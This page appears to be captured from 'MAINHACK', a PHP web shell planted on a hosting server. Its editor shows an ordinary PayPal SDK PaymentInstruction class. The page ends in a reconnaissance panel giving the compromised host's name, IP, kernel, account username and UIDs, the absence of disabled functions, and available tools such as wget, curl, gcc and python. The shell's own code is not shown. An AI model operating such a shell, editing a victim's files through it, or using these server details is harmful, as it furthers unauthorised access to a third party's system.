[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: PaymentInstruction.php
<?php namespace PayPal\Api; use PayPal\Common\PayPalResourceModel; use PayPal\Rest\ApiContext; use PayPal\Validation\ArgumentValidator; /** * Class PaymentInstruction * * Contain details of how and when the payment should be made to PayPal in cases of manual bank transfer. * * @package PayPal\Api * * @property string reference_number * @property string instruction_type * @property \PayPal\Api\RecipientBankingInstruction recipient_banking_instruction * @property \PayPal\Api\Currency amount * @property string payment_due_date * @property string note * @property \PayPal\Api\Links[] links */ class PaymentInstruction extends PayPalResourceModel { /** * ID of payment instruction * * @param string $reference_number * * @return $this */ public function setReferenceNumber($reference_number) { $this->reference_number = $reference_number; return $this; } /** * ID of payment instruction * * @return string */ public function getReferenceNumber() { return $this->reference_number; } /** * Type of payment instruction * Valid Values: ["MANUAL_BANK_TRANSFER", "PAY_UPON_INVOICE"] * * @param string $instruction_type * * @return $this */ public function setInstructionType($instruction_type) { $this->instruction_type = $instruction_type; return $this; } /** * Type of payment instruction * * @return string */ public function getInstructionType() { return $this->instruction_type; } /** * Recipient bank Details. * * @param \PayPal\Api\RecipientBankingInstruction $recipient_banking_instruction * * @return $this */ public function setRecipientBankingInstruction($recipient_banking_instruction) { $this->recipient_banking_instruction = $recipient_banking_instruction; return $this; } /** * Recipient bank Details. * * @return \PayPal\Api\RecipientBankingInstruction */ public function getRecipientBankingInstruction() { return $this->recipient_banking_instruction; } /** * Amount to be transferred * * @param \PayPal\Api\Currency $amount * * @return $this */ public function setAmount($amount) { $this->amount = $amount; return $this; } /** * Amount to be transferred * * @return \PayPal\Api\Currency */ public function getAmount() { return $this->amount; } /** * Date by which payment should be received * * @param string $payment_due_date * * @return $this */ public function setPaymentDueDate($payment_due_date) { $this->payment_due_date = $payment_due_date; return $this; } /** * Date by which payment should be received * * @return string */ public function getPaymentDueDate() { return $this->payment_due_date; } /** * Additional text regarding payment handling * * @param string $note * * @return $this */ public function setNote($note) { $this->note = $note; return $this; } /** * Additional text regarding payment handling * * @return string */ public function getNote() { return $this->note; } /** * Retrieve a payment instruction by passing the payment_id in the request URI. Use this request if you are implementing a solution that includes delayed payment like Pay Upon Invoice (PUI). * * @param string $paymentId * @param ApiContext $apiContext is the APIContext for this call. It can be used to pass dynamic configuration and credentials. * @param PayPalRestCall $restCall is the Rest Call Service that is used to make rest calls * @return PaymentInstruction */ public static function get($paymentId, $apiContext = null, $restCall = null) { ArgumentValidator::validate($paymentId, 'paymentId'); $payLoad = ""; $json = self::executeCall( "/v1/payments/payment/$paymentId/payment-instruction", "GET", $payLoad, null, $apiContext, $restCall ); $ret = new PaymentInstruction(); $ret->fromJson($json); return $ret; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.85 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285